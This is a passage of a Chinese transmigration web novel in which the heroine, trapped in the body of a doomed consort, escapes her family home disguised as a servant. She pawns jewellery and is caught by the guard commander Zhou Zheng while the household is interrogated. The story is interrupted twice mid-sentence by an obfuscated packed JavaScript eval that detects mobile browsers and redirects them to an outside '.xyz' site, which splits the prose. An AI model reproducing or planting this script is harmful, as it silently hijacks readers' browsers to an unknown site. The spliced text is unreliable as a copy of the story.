她的语气十分坚定,流霜有些不服,连忙补充道:“可是刚才奴婢一说要搜屋子,她就第一个跳出来反对,汀雪这丫头,别看她平时怯懦老实,但心里头比谁都顽劣,做事也冒冒失失的,怎么今日就这么顾全大体了,肯定是心里有鬼才……” “好了,流霜。”云昭昭立刻打断了她,“这事儿我已心里有数,我觉得汀雪和苏嬷嬷都说的都在理,如今这个节骨眼儿上,也不好生事,只当它过去就算了,回头我自然会跟母亲说让她好好管着这家里的下人们。” 说着她随手挑出一只模样甚为可爱的小巧金锁,塞进了流霜手里,笑着说:“呐,看你这么替我着想,这个是赏你的。” 流霜低头一看,那是云昭昭满月时柳氏找京城最好的匠人为她打的长命锁,后来又专门请了京郊云台寺里的住持大师开光过的。 她吓得立马推拒道:“小姐,这个、这个实在是太贵重了,奴婢绝对不能要的,你赶紧收回去吧。” “说什么呢,我一直当你是姐妹,让你收着你就收着,今天这事儿别再声张出去了,你和汀雪都是我的贴身丫头,以后还要相互照应着,别自己人怀疑自己人。” “可……这是夫人给小姐请来护身的。”流霜盯着那只金锁,依然不敢接过。 云昭昭硬是塞给了她,见她还有些不敢,便佯装生气道,“你这丫头,还要忤了我的命令不成?别不好意思,若你真嫌它贵重,那将来你能想着我就是。” 见她态度坚决,流霜不敢不从,只好颤颤巍巍地接过。 “是,奴婢、奴婢听小姐的。” 接过后,她又低头拿袖口将金锁仔仔细细地擦了好几遍,这般宝贝的模样仿佛是在擦着什么稀世珍宝一样,让云昭昭觉得有趣。 流霜将金锁贴身揣好,突然抬头,郑重其事地发誓道:“小姐,这辈子,流霜生就是小姐的人,死就是小姐的鬼了。” 云昭昭只当她是得了赏有感而发,笑着挥挥手道:“行了行了,就是点黄金首而已饰,你有这份心我就知足了,以后好好照顾自己才是。去吧,我有点累了,想睡一会儿。”说完便打发了她。 流霜从屋里出来,心里五味杂陈。 这次小姐大病一场,确实和从前不一样了,真是彻底长大了,若是换成从前,发现自己的首饰被偷了,定是要在府里大闹一通的,如今她这么包容大度,顾全大局,倒让流霜有些怀念从前那个眼里容不下沙子的她。 而且一想到汀雪……不知道为什么,流霜还是觉得隐隐有些放心不下。 她怔怔地摸向自己怀里,云昭昭送的长命锁被小心地贴身揣在了那里,冷冰冰的金属紧紧贴着她跳动的心脏,带着她的体温,摸起来温热、甚至滚烫。 她暗暗在心里发誓,等以后进了宫,无论谁想伤害小姐,她都一定会护她周全。 不过,流霜不知道的是,在她转身离开后,云昭昭一直在屋内看着她走远,待她的身影彻底化成一个小黑点之后,方才从床下翻出了一个不起眼的小布兜。 布兜摊开,里面正好装着那几样“遗失”的首饰。 云昭昭想了想,一横心,又从妆奁里挑拣出几样首饰塞了进去。 4. 逃跑 应该够了吧。云昭昭看着那堆黄澄澄的玩意儿,心想。 这些覆着贵气,经最有名的匠人之手,用最稀罕的技艺包装出来的金贵物件在她看来已经变成了一锭锭白银,根据从下人们那里打听到的金价来算,再折点儿,约莫能换个两三千两银子。 她将小布兜重新装好系上,又悄悄地从雕花紫檀木的柜子后面抽出来一件有点破烂、看上去皱皱巴巴的小厮衣服。 同那些首饰一样,这也是几日前洗衣房里“遗失”的,只不过因为是堆在角落里没人认领的旧衣服,洗衣房里没人当回事儿,只当是被路过的谁嫌碍眼顺手扔掉了,况且就算被人注意到,谁又能想到,“偷”走这件破烂衣裳和这些贵重首饰的,都是整个云府里最最尊贵的“大小姐”呢? 想到这里,云昭昭扯了扯嘴角,什么小姐不小姐的,反正自己也是个从现代穿来的劳动人民,一个冒名顶替货,且等今夜一过,她就能永远地离开这里了。 实际上,她计划逃跑已经快大半个月了。 从刚醒来意识到自己穿越重生,到发现自己穿书穿到了云贵妃身上,再到皇帝的诏书下来…… 这些事情一桩桩一件件接踵而至,令她措手不及,好像背后有一双无形的大手,在推搡着她这个格格不入的现代闯入者,非得去经历一遍书里云贵妃的命运不可。 虽然之前嘴上说这样活着还不如猝死了好,但是无论是活在书里还是活在现实,她现在的状态终究是能哭、能笑、能奔跑、能思考、能得幸望见朝阳从云缝中努力伸出触角,也能不经意间捕捉到夜雨里那一丝桂花的香气…… 好不容易重活一次,她才不想死,她想活着,好好地活着。 正所谓三十六计,走为上计,她没办法直接违抗皇威天命,难道还躲不过吗? 不过身为古代后宅里的小姐,每天都被府里大大小小上百双眼睛盯着,要想跑路也绝非一件易事,所以云昭昭还是仔细策划了一番。 她先是借着自己高烧失忆为幌子,召来流霜和汀雪两名贴身丫鬟询问原身的情况和府里的情况,等心里有数后又变着花样地找府里管家婆子们问话,明为想要从打理后宅事务学起,实为旁敲侧击地打听她想知道的事情。她甚至还“贿赂”了负责每日采买的婆子,再根据她的描述私下绘制了一份京城的地图,最终计划好了逃跑的路线和法子。 云府的总管事王良是个酒瘾大的,每晚都会喝得酩酊大醉,他尤其好那迎风楼的“特酿”金盘露,还必要现热的,因此经常晚上命厨房里当差的小厮替他出去买酒。 这王良的媳妇乃柳氏的一个远房亲戚,后来又跟着柳氏出嫁,做了陪房,因此云府下人们谁也不敢得罪他们两口子。 若是能扮作替王良出去买酒的小厮,云昭昭笃定,门房绝不会多问,直接便会放行。 她处心积虑了这么多天,等的便是今日夜幕的降临。 亥时不到,她便卸了妆,以头疼要早睡为由支走了流霜汀雪,然后悄悄地换上了准备多时的小厮衣服,揣上了装着金银细软的小布兜。 两个丫头睡在外间,她怕引起她们注意,便开了房内朝着花园一侧的小窗,踩了根矮凳,从窗户处翻了出去。 地上的泥土摸着湿滑,前阵子下过的雨还没有干透,土里带着草木微涩的气息,云昭昭用手指沾了一些,没有半分犹豫,直接抹在了自己脸上,抹完还觉得不够,又用衣袖抹了抹,匀了匀。 她几乎能想象出自己现在的模样——灰头土脸,邋里邋遢,哪里还有半分千金贵小姐的样子? 想着这里面的反差,她忍不住嘿嘿地低笑了起来,从花园绕路往管家的院子走去。 云府的下人们晚上也都有自己的生活,打牌的打牌,唠嗑的唠嗑,斗蛐蛐的斗蛐蛐,这一路上云昭昭只遇上了两名洒扫丫头和一名厨房的婆子,三人见她穿得脏兮兮的,只以为是柳氏接济来府里做杂工的小叫花子,都用帕子掩了口鼻,远远地绕着她走。再加上云昭昭又刻意驮着背,低着头,所以擦肩而过的时候,谁也没有认出她来。 如此,她很顺利地来到了管事王良的屋外。 屋内酒气冲天,连窗户都挡不住那直往外窜的酒味,透过窗缝,能看见王良翘着二郎腿,眯着小眼睛,支着肥胖的身躯靠在藤椅上,摇头晃脑,嘴里哼哼唧唧。 云昭昭轻轻敲了几下门楣,咳嗽了一声,压低嗓音,粗声粗气道:“王总管。” 只听王良闷哼一声,含糊不清地问道:“是谁?” “是我。”云昭昭说,“小的来替您跑腿买酒去。” 屋里,王良醉意已经上来了七分,但还没到完全不省人事的地步,他清楚地记着一个时辰前,才命厨房的一名小厮替他去迎风楼买了酒回来,这刚喝完呢,怎么现在又来了一个? 这帮子乳臭未干的毛小子们,平时让他们跑腿,一个二个都不情不愿的,怎么今日这么积极了? 王良命屋外站着的云昭昭进来,一进门便发现这人不太一样,说面生又总觉得在哪里见过。 “你,怎么你大爷我从来、从来没见过?你是在在在何处当、当职的?”王良大着舌头问道。 云昭昭低眉顺眼地回答:“回王总管,小的从小流落在外,得夫人可怜,前日才来府里做事,听厨房里的哥哥们说总管晚上要喝酒,便让我来替您跑腿。” 是个新来的,看起来人怪老实的,说让跑腿就跑腿。王良心想。 难得有人上赶着替他跑腿,他虽已醉得差不多了,但还是指了指桌上的酒壶。 “喏,去去去、给我再打半、半斤回来,钱先赊着,就说是云、云府王大老爷要的。” “是。”云昭昭舒了口气,连忙上前去拿酒壶。 在她走近一些的功夫,王良睁着惺忪的眼睛打量面前小厮打扮的云昭昭,突然觉得这人看起来有种说不出来的古怪。 虽然脸上看着脏,但好像生得格外俊俏,身上……怎么有股女人的脂粉味? 但他还来不及看仔细,就感觉醉意上来,眼皮也沉沉的,等挣扎着想再瞅一眼时,人已经不见踪影了。 这头,云昭昭攥着酒壶,出了管家院子,一路小跑着来到了云府大门口,门房看了一眼那个酒壶,只是嘴上自言自语了一句“这一晚上到底要买多少次酒”,然后便如她所预料的那样,直接开门放行。 出了大门,呼吸着外面凉爽的空气,云昭昭顿时有了一种重获新生的感觉。 今晚上逃出云府的过程比她想象的顺利多了。 只要待会儿找到当铺,把那支看起来最素最便宜的金簪先当了,换点银子,便有了路上的盘缠,这些钱应该足以支撑她一路南下,等到了江南,再把剩下的首饰当掉,她就能用换来的钱给自己置办个产业,做点生意什么的,过上闲云野鹤般的退休生活。 没想到她从前遥不可及的人生规划,竟然这么容易就要在古代实现了,云昭昭越想越心潮澎湃,脚步都飘了起来。 她迫不及待地掏出怀里那份准备好的地图,按着上面标注的路线,越过一个个巷口…… 不知是地图过于简陋,还是做错了标记,走了好一会儿,她还是没找到当铺,甚至误入了犄角旮旯的小巷,半天都绕不出去。 京城的夜市这时候已经接近尾声,远处人声渐弱,灯火渐淡,天幕渐暗,深宅大院的高墙上,只有她一个人的影子在穿行。 云昭昭有些急了,找不到当铺都是小事,耽误了今夜出城就严重了。云府迟早会发现她不见了,肯定会连夜让人来找,等到明天一早,再想出城恐怕就难了。 她不禁加快了脚步,攥着铜制酒壶的手心渗出细密的汗珠。 结果,在穿过下一个巷口的时候,一阵阴飕飕的风吹过,身后突然传来异样的声响。 云昭昭吓得猛然一回头。 只见路旁一棵老槐树上,一群黑影掠起,接着是一阵刷啦啦抖动翅膀的声响。 原来是一群乌鸦。 而她身后的巷道上空空如也,哪里见什么人影? 唯有一地的枯叶被风卷到半空,像是群折了翅膀的蝴蝶,奋力扑腾着,不知要飞往何处去。 呼。 云昭昭吁了口气,心跳得飞快。 随后她定了定神,连走带跑沿巷子往前走去,不知道又绕过了几条街,才终于瞧见了一家当铺。 掌柜正和一名伙计准备打烊,看她一身脏兮兮的打扮,以为是沿街要饭的小叫花子,连忙挥手驱逐。 “去去去,边儿去,今晚剩饭都喂了狗,没有能给你的,别处去要去。” 云昭昭逃跑成 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16108280|179884||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 功,心情正好,被他这般驱赶也不恼,只笑嘻嘻地说:“掌柜的,我是来当东西的。” 掌柜根本不信,嫌弃地说:“你能有什么东西,我们这儿不捡破烂。” 云昭昭诚恳道:“不是破烂,是金子的。” “什么金的银的,统统都明天再说,我们要打烊了,赶紧让开,没长眼么!” 那掌柜见她不走,正要伸腿踹过去,忽见金光一闪,一支玫瑰金簪出现在他的眼前。 他一下被吸引住了全部的注意力。 虽然这支簪子唯纯金打造,没点缀任何镶嵌,但眼尖的他还是一眼看出,那簪子上繁复重叠的花瓣是用极细的金丝盘成的。 这种登峰造极的手艺,只有内府银作局最顶尖的匠人才具备——也就是说,这支簪子,非皇亲国戚不能拥有。 意识到这一点,他立刻谨慎地审视起面前小厮装束的云昭昭来,发现她虽然灰头土脸,但细皮嫩肉的,难掩俊俏,便立刻有了计较,以为她是哪个显贵人家养的小倌,偷了主人家的东西逃出来的。 云昭昭并不知道这掌柜心里的弯弯绕绕,只急着换了银子出城,见对方没反应,忍不住催促道:“掌柜的,还请掌掌眼,这支簪子能换多少银钱?” 谁知掌柜并不给价,只反过来问她:“你这东西是怎么来的?” “这是我——”云昭昭本要回答是她的,但突然意识到自己身上的打扮,便立马改口说,“是我家小姐的。” 掌柜意味深长地看着她说:“小郎君,你仔细说,这怕是你偷来的吧,这种稀罕物我今儿若是收了,赶明儿别说你,就是我,也要被抓去见官的。” 他没有半点要收的意思,反而催着云昭昭走。 眼见这街上最后的几家店铺挨个准备打烊,云昭昭立马拦住他商量:“便宜点,掌柜的,我给你便宜点,我……我赶着去救急的,你出个数,这簪子就归你了。” 掌柜一听,心里有些痒痒,脚仿佛被钉在了原地。 店里已经三四个月没什么大的入账了,再这样下去就快要喝西北风了,而且那可是银作局的东西啊,这小倌儿看上去只偷了东西,一点儿不识货的样子…… 他这样想着,眼睛滴溜一转,立马有了计较。 “这个数。”说着他竖起一根食指,“一百两。” 云昭昭咋舌:“这、这也太少了吧,就是按最便宜的金价算,都不止四百两了!” 这簪子岂止四百两银子,掌柜心里简直乐不可支,但还是故意板着个脸道:“不当就算了啊,大爷我还怕沾上晦气呢,看你可怜才愿意施舍你点儿银子,别给脸不要脸的啊。” 云昭昭简直气得牙痒痒,但又无可奈何,只能在心里大骂这个奸商,然后老老实实地跟去换了银子。 待她揣了张一百两的银票出来时,街上已经没人了。 刚往前走了几十米,之前独自穿行在小巷时那种异样的感觉又来了。 可她回过头一看,身后依然什么都没有,那家当铺已打了烊,街上一片漆黑。唯独远处,守备的一队队卫兵提着灯准备换班,城门马上就要关闭。 云昭昭再也不敢多耽搁一秒,立马什么也不顾地朝城门口狂奔。 然而,刚跑出几步,面前不知从哪儿冒出了一个人来,她刹不住脚步,一头撞在了那人身上,发出一声闷响。 云昭昭被撞得生疼,眼冒金星。 而对方撞了人,却根本没有扶一把或是道歉的意思,云昭昭一边晃晃悠悠地站起身,一边忍不住骂了句脏话。 骂完她正准备离开,耳边突然响起了一个冰冷的声音: “站住,你,往哪儿去?” 不等她回答,只听“唰”的一声,一把刀抵住了她的脖颈。 只要她刚才多往前一步,那薄薄的利刃便要削下她的脑袋。 云昭昭登时面色煞白,吓得差点晕了过去。 过了好一会儿,她才勉强恢复镇定,警惕地看向面前这个人。 那是名身形高大的男人,脚踩描金云纹皂靴,身着大红织金飞鱼补纱,腰佩玉带,侧边挂着一块锦衣卫制式的腰牌。 云昭昭眯了眯眼睛。 借着月光,她总算看清了那牌子上刻着的名字—— 锦衣卫指挥使周徵。 5. 冤家 周徵,字明彰,武安侯周嵘独子。 其母林氏乃先帝昭文皇后义结金兰的姐妹,而这位昭文皇后便是书里男主赵昶的生母。 林氏同昭文皇后姐妹情深,两人不仅常于圣鸾宫中小聚,在先后生下儿子后还一同相约京郊云台寺祈福。 不久后,老武安侯周嵘因为勾结倭寇获罪伏诛,林氏也跟着自尽,只留下年幼的周徵。昭文皇后心善,念稚子无辜,便将他接进宫里收养,还让他袭了武安侯的爵位。 可惜昭文皇后很快去世,年幼的周徵失去庇护,在宫里受尽冷眼和欺辱,直到后来被选为赵昶的伴读后,情况才稍微好了起来。 如果说原书中,云昭昭的原身是故事前中期最大的反派,那么周徵便是故事后期最大的反派。 他是赵昶的心腹,从小作为伴读随侍左右,在赵昶登基后又被任命为锦衣卫指挥使,为人冷酷,行事果决狠辣。 本来读者们都以为,书中的周徵只是男主赵昶手中的刀,唯皇命是从,但谁知在一次执行任务失败后,他负伤回到宫里,被原书女主所救,从此他便对女主心生爱慕,但却碍于男主的缘故,只能把爱慕放在心里,默默守护女主。后来他和赵昶反目成仇,意图谋反,又在最后一刻被女主所感化,选择了引罪自尽。 原书中周徵和赵昶的离心的原因,作者并没有写明白,云昭昭也并不关心,反正多半都是因为女主,对她来说,周徵此人唯一值得她关心的,就是书里原身最后是死在他手上的。 所以她最好是永远别跟此人扯上关系。 云贵妃的下场至今她都记忆犹新。 她获罪伏诛后被关押在诏狱里,由锦衣卫专门看管,周徵为了帮女主出气,对她上了不少酷刑。最终,云贵妃被活活地冻死在了诏狱里,用一张烂草席裹着,扔到了乱葬岗上,为野狗所分食。 回想起书里最后的那些描写,出于这具身体本能的反应,云昭昭忍不住颤抖,雪亮的刀刃擦着皮肤,仿佛下一秒就要刺穿她的咽喉。 半晌没得到回答,周徵没了耐心:“没听见我说话么,再问最后一遍,这么晚了,你要去哪里?” 他用绣春刀抬着云昭昭的下巴,逼她看向自己的眼睛。 云昭昭被迫抬眸,终于不得不正视这个传说中不近人情、冷血阴鸷的铁面阎罗。 他身材高大,五官生得极好,细看倒也是星眉剑目,面如冠玉,只可惜神情冷漠,不苟言笑,抿着薄唇的模样仿佛拒人于千里之外,就像是一把随时准备出鞘的利刃。 果然,这人倒是和故事里留给人的印象一模一样,一看便是那种杀伐果断的无情之人。 云昭昭突然有些丧气,心道自己今晚遇上谁不好,怎么偏生遇上了他?换成其他任何人,她都可以编点理由忽悠一下,但是面对周徵,她生怕自己一句话说不对,就被他挑了错处。 她正慌乱地想着要如何回答。 结果周徵居然冷不丁地来了一句:“你是哑巴?” 她立马有了主意。 是了,既然怕说错话,那装哑巴不就好了吗,反正自己这身衣服,刚才在当铺还被认成是小叫花子呢,一个又聋又哑的小叫花子半夜在外游荡,有什么问题吗? 于是她当机立断,冲周徵狂点头,还装模作样地比起了手语。 可周徵一秒就识破了她的伪装。 “别装了,刚才已经看见你跟那当铺掌柜说话了。”他面无表情道。 云昭昭岂能就此作罢,为了蒙混过关,她又故意发出伊伊喔喔的声音,像是很急于跟他解释什么,又苦于说不出话来。 周徵:…… “看来只能把你带回诏狱了。”他说。 听到诏狱二字,云昭昭立马老实。 “这位大人……小的、小的刚才也是一时吓懵了,不知道该怎么回大人。” 周徵冷着脸,不容置喙道:“回答我刚才的问题。” 他说着,手腕轻轻一抖,绣春刀的刀锋离划破云昭昭的脖子又进了一步。 云昭昭缩了缩脖子,心里已将面前这人骂了个痛快,但表面上还是恭恭敬敬地陪着张笑脸。这是她工作以后最习以为常的事情。 “那个,这位大人,您人高马大的,我又跑不了。你,你先把刀收了,有话好好说。” 周徵盯着她看了看,似乎在权衡她会不会立马逃跑,几秒后,才缓缓把绣春刀收了回去。 “说。” 云昭昭连忙点头,随口胡诌道:“回大人,小的是准备去药铺找大夫来着,我家小姐突然病倒了,这会儿正急着要看病吃药,家里面一时没了现银,便差小的出来替她典当了首饰,换了银子好请大夫去……” “……” 见周徵不说话,云昭昭只以为是自己编的这通谎话将他骗了过去,便补了一句:“那……小的就先走一步了,我家小姐还等着大夫救命呢。” 谁知她刚准备转身,前脚还未踏出半步,周徵便喝止了她。 “站住!我有说让你走了吗?” “既换了钱要去请大夫,那为何要往城门的方向跑?”他瞥了一眼远处的城门,意有所指。 云昭昭赶紧替自己找补:“呃……这不是因为小姐病着,小的心里着急吗,大晚上黑灯瞎火的,一时跑反了方向……谢大人提醒。”她边说边赔着笑脸转身,埋头就往反方向走去,心突突地跳得飞快。 然而周徵并不打算就这么放过她,只见他身形一晃,一下子挡住了云昭昭的去路。 “你这话乍一听编得倒好,只可惜我方才一路都跟着你,看见你鬼鬼祟祟地从云琛府中出来,” 说到这里他冷笑一声,语气里带着明显的不屑。“怎么,云府的那位金贵小姐,这才过了几日,就又‘病倒’了?” 云昭昭一听,脸色大变:“你跟踪我?!” “锦衣卫向来只跟踪可疑之人,自太祖时期设立,到现在几十年时间里,从未冤枉过任何一个人。”周徵道。 云昭昭觉得这人简直难缠,但无奈没理由反驳,便只好搬出云府,反唇相讥道:“既然你知道我是云府的人,照你这话的意思,是说云阁老可疑吗?” “非也,云阁老贵为一朝首辅,多少行医的上赶着半夜入府诊治,难道云府还缺这看病的几两碎银?” 周徵说着上前一步,不顾云昭昭的挣扎捏住了她的下巴,似乎早已将她的伪装看穿。 他冷笑着说:“倒是你……你这身女扮男装的扮相未免太拙劣了些,一个姑娘家,大晚上黑灯瞎火的,在外面跑着也不怕危险,怎么就不可疑了?” 被看出端倪,云昭昭忍不住骂了句脏话,使出吃奶的劲儿想要挣脱桎梏,但是周徵的手却像是钢筋铁骨一般,牢牢地钳住了她。 这下她恨不得在心里把周徵的祖宗十八代都马上一通,反正都是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16108281|179884||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 书里通倭卖国的二鬼子。 “既然知道我是女的,男女授受不亲,还不快放开我!”她挣扎道。 周徵不予理会,反而问道:“你先告诉我,你是不是从云府偷了东西逃出来的?” 这下,云昭昭不吭声了。 她是偷了东西不假,但周徵很明显地只把她当成了云府里的普通下人。 她权衡着要怎么摆脱眼前这个大“麻烦”,抬眼却望见远处的城门处,卫兵正在为最后出城的几名人员放行。 来不及了来不及了,这是她出城最后的机会了。 云昭昭正心焦如焚,突然间,大学军训时教官教的对付色狼的防身法出现在了脑海里。 说时迟那时快,在这千钧一发之时,她已来不及想太多,当即横下一颗心,鼓足了劲儿,对着周徵的裆部一脚踹去。 周徵显然没料到她会这招,只能一个箭步斜过身子,用手肘生生挡下了云昭昭这拼尽全力的一击,关节被震得发出一声响。 他登时大怒,只恨自己轻敌,对这个看似瘦小的丫头掉以轻心,于是当下再也不手软,直接擒住了云昭昭,令她动弹不得。 于是,十多天的精心筹谋,跑路的最后希望,全都在周徵钢铁般的桎梏下化为了泡影,云昭昭只能眼睁睁地看着近在咫尺的城门在自己眼前缓缓合上…… 活了两世,她从未像现在这般绝望,仿佛合上的不是城门,而是通向未来的唯一通道。 云昭昭气得大口喘息着,一抬头,就对上了周徵的眼睛。 他的眼神不像刚才那样冷漠了,只是多了一抹幸灾乐祸的神色,无情地嘲笑着她的活该。 云昭昭气急败坏,差一点就要破口大骂。 她也不甘示弱地回瞪着这个阻碍自己出城的罪魁祸首,绝不愿承认是自己倒霉,提前于书里遇上了这个灾星,只怪对方要对自己穷追不舍,赶尽杀绝。 想到自己已落到他手里,以及书里原身的下场,她索性低头,对着擒住自己的那只手便是狠狠一口。 “嘶——”周徵疼得倒吸一口凉气,难以置信地看着云昭昭,当即大骂道,“疯狗!” 他从未想过,有朝一日,朝中那帮孬种货色用来形容自己的词,竟会被自己用在一个女子身上。 为防止云昭昭再做出什么不可理喻的举动,他直接点了她的穴位,令她再也动弹不得。 但云昭昭已经彻底破罐子破摔,想着横竖落在他手里都是死,便懒得再顾忌什么,直接不藏不装,大声说:“周徵,你也不睁大眼睛看看我是谁,今日你若敢绑了我去诏狱,信不信过几日,在陛下面前掉脑袋的人便是你!” 周徵闻言,微微一愣,明显是将云昭昭的话听了进去。 云昭昭立马捕捉到他的迟疑,一种报复般的快感油然而生,但仅凭这样还远远不够平息她今晚未能成功跑路的怨念。 为了捉弄周徵,她突然大喊起来。 “救命啊!堂堂锦衣卫指挥使周大人要当街非礼良家女子了!谁来救救我!救命啊!” 彼时已更阑人静,这使得她的声音显得尤为突兀刺耳,在空旷的街道上荡着回音。 周徵脸都气绿了,只得摸出一方帕子,堵上了她的嘴,然后像老鹰抓到猎物一样,押着她赶紧从这条街上消失。 云昭昭本以为他会直接把自己扔进诏狱,却没想到,他带自己去的方向,竟是云府。 6. 暗流 此时云府内已经乱作一团。 上到管家婆子、有头脸的丫鬟小厮,下到府内的杂役、洒扫丫头,除了留守看门的,其他所有人都被叫到了一个院子里,为今晚小姐的失踪挨个接受问话。 纵然是柳氏这样在主子里算是脾性顶好的,此刻也黑着一张脸,厉声训斥,看谁都不顺眼,恨不得把在场的每一个人撕碎。 “我看你们是平时日子过得太舒坦了!一个个的,光天化日之下,竟然能让小姐一个大活人凭空消失,没有一个人知道她去了哪里?!” 柳氏执掌云府这么多年,温柔和顺是出了名的,还从未如此动怒过。 下人们全都噤若寒蝉,连大气都不敢出,谁也不想在这时候出声触了主子霉头。 见没人吱声,柳氏更是气不过,索性更加严厉地训斥。 “没人说话是吧?”她冷笑两声,又道,“就算是只鸟,飞出了这院子,好歹也会留下根羽毛,你们呢,只说没见到人。今日没见到不要紧,待明日传到外头去,传到皇上耳朵里,别说是你们了,我们云府上上下下,一个都别想活!” 她的声音极其有威慑力,一改平日里的和善模样。 流霜和汀雪作为云昭昭的贴身丫鬟,也是府里最风光的,下人们谁都要给她俩三分面子,此刻两人像两只被遗弃的狗儿一样,跪在柳氏脚边,承接着柳氏的滔天怒火,只等着听候发落。 流霜到底年纪大些,还能勉强保持镇定,汀雪早已吓得魂不附体,身子摇摇欲坠。 没有得到其他人的回应,柳氏立刻把矛头转向了她们俩,“流霜、汀雪,我自问待你们两个丫头不薄,你们又是怎么照顾小姐的?!连她人什么时候不见了都不知道!” 她越说越气得不行,索性命令道:“王良家的!” 王良家的上前一步,颤颤巍巍应道:“老奴在。” “等下把这两个丫头给拖出去,每个人打六十大板,关到柴房去面壁!” “是,夫人。”王良家的小声应着,退到了一边。 其余人以为这样便结束了,不少人明显松了口气。 然而柳氏却横扫了一眼院内跪着的一众人,又说:“其余人,每人领四十大板,给我狠狠地打,直到有人知道小姐去了哪里为止!” 她话音刚落,后面角落里跪着的一名洒扫丫头站出来,小声地说:“夫、夫人,奴婢……奴婢今晚回房时,好像、好像看到了一个有点像小姐的人……” “那你怎么不早说?!”柳氏喝道。 那丫头吓得一张脸皱成一团,哭着解释:“回夫人,那人穿着一身小厮的脏衣服,奴婢、奴婢也不敢确定那是小姐啊……只是夫人问话,奴婢不敢有所隐瞒,奴婢当时只是与那人擦肩而过,觉得有点像是小姐……” 她说完之后不久,又有一名婆子和一名丫鬟站出来跟着附和,称也看到了一个这样的人。 柳氏心里立马有了计较,刚要发作,心口却一阵抽搐,只嗳哟一声。竟是被气得心疾犯了。 然而在场的下人们都心存畏惧,没一个敢上去搀扶一把的,就连王良家的都跪在地上,不敢动作。 柳氏怒不可遏,揉着心口连说了三个“好”字。 好在这时云琛风尘仆仆地走进院子,见状连忙搂住夫人,温声安慰,称自己已派人连夜在城中寻找云昭昭的下落。 柳氏这才缓过气儿来,但她绝不肯就这样罢休,又问其他人:“你们还有谁看到了小姐的?”说着她将刀子一样的目光投向门房。 门房见状,连滚带爬地到了云琛和柳氏跟前,大声哭喊道:“夫人饶命,老爷饶命!是小的,是小的今晚把小姐放出府的!但是当时,小的根本不知道那是小姐啊。” 他边说边有些顾虑地看了一眼在一旁站着的王良家的,声音越来越小:“小姐当时手里拿的酒壶是管家的,小的没细看,只当那是替王管家跑腿的小厮……” “你血口喷人!”王良家的脸色一变,扑通一下跪在柳氏脚边诉苦。 “夫人,冤枉啊,老奴的夫君平日都歇得早,怎会让人替他跑腿……这门子之前就嫌月钱少,私下找夫君闹过几回,要给他多结些月钱,但月钱那都是老爷夫人定好了的,哪能乱来?这门子也忒阴毒了,他肯定是因为这事才记恨上了我们。” 那门子听罢,匍匐着上前,哭嚷着要讨个公道:“老爷,夫人,冤枉啊!管家每日夜里都要差人去外面卖酒,这是府里人尽皆知的事情。况且,况且……” 说到这里,他欲言又止,有些犹豫地看向王良家的,结果对上的是王良家的阴冷的眼神,仿佛淬着毒一般,恨不得将他吞下肚去。 门子吓得一哆嗦,索性破罐子破摔,将那王良在府中的斑斑劣迹,一股脑地抖了出来。 “况且大伙儿平时夜里吃酒玩乐,都是向王管家交了头钱的,有时候大伙儿手头没银子,就说好了从月钱里扣……” “你!你!你!”王良家的气得发抖,满脸褶子都在颤抖,“血口喷人!妖言惑众!” 她抱紧柳氏的腿,大喊道:“夫人,您嫁与老爷那年奴婢就跟随在您身边,我们夫妇二人在府中侍奉二十年了,怎么可能会做此等腌臜事?” “老爷夫人明察啊!”门子也不甘示弱道,“小人所说句句都是真的,不信可以问问大伙儿!” 他说着看向下面乌压压的人群。 可众人都迫于管家王良的威压,又怕自己半夜在府中聚众吃酒赌钱的事儿被捅出去领罚,竟像约定好了似的,半晌都没有一个人站出来。 王良家的见状,便越发伤心地哭了起来,说应该严惩那门子,弄得柳氏面上尴尬不已,十分下不来台。 最后还是云琛发现了症结所在,他单刀直入地问道:“王良呢?” 他这话一说,顿时鸦雀无声,众人面面相觑,大家都不约而同地发现,管家王良并未出现在他们的队列中。 王良家的立马止住了哭,心道不好。她面色灰白地解释道:“夫人,老奴夫君已经睡下了……老奴一时糊涂,便没忍心叫他起来。” 柳氏不为所动,居高临下地看着她,面露失望之色。 而云琛则点了两个小厮,差他们去把王良叫来问话。 待王良被两名小厮架过来时,他已喝得酩酊大醉,不省人事,进到院内嘴里还骂骂咧咧,称自己是天王老子,说着“再来半斤酒”之类的胡话。 云琛只得又命人架住他,往他脸上破了几盆凉水。 王良这才清醒过来,弄清来龙去脉后,方才意识到自己闯了大祸,连忙跪地啪啪掴着自己的嘴,哭喊着要领罚。 王良家的也在一旁跟着,替自己夫君求情,场面一时混乱不堪。 这时,外面一个留守看门的小丫头进来禀告,说是武安侯周徵在门口求见。 云琛一听这名字就觉得烦躁,这人常年在皇帝跟前,不认理,只认皇命,仿佛是赵昶身边一条忠心的看门狗。凡他主动找上门来,准没什么好事。 当下府中已是乱得不行,云琛已无暇分身接待这尊“大佛”,只冲那丫头摆了摆手说:“我没空见他,让他有什么事,明日早朝时再说吧。” 结果那丫头离开后不久,又折返回来,怯怯地说:“老爷,武安侯说……说他今晚捉了一个女贼,请老爷务必前去看看,您若不去,他只能将人带回诏狱。” 众人一听“女贼”二字,便立马明白是怎么回事,都不敢说话。云琛面色一沉,赶紧吩咐了柳氏几句,匆匆往前厅赶去。 · 另一头,周徵带着云昭昭到了云府,却不想叩门半天不应。 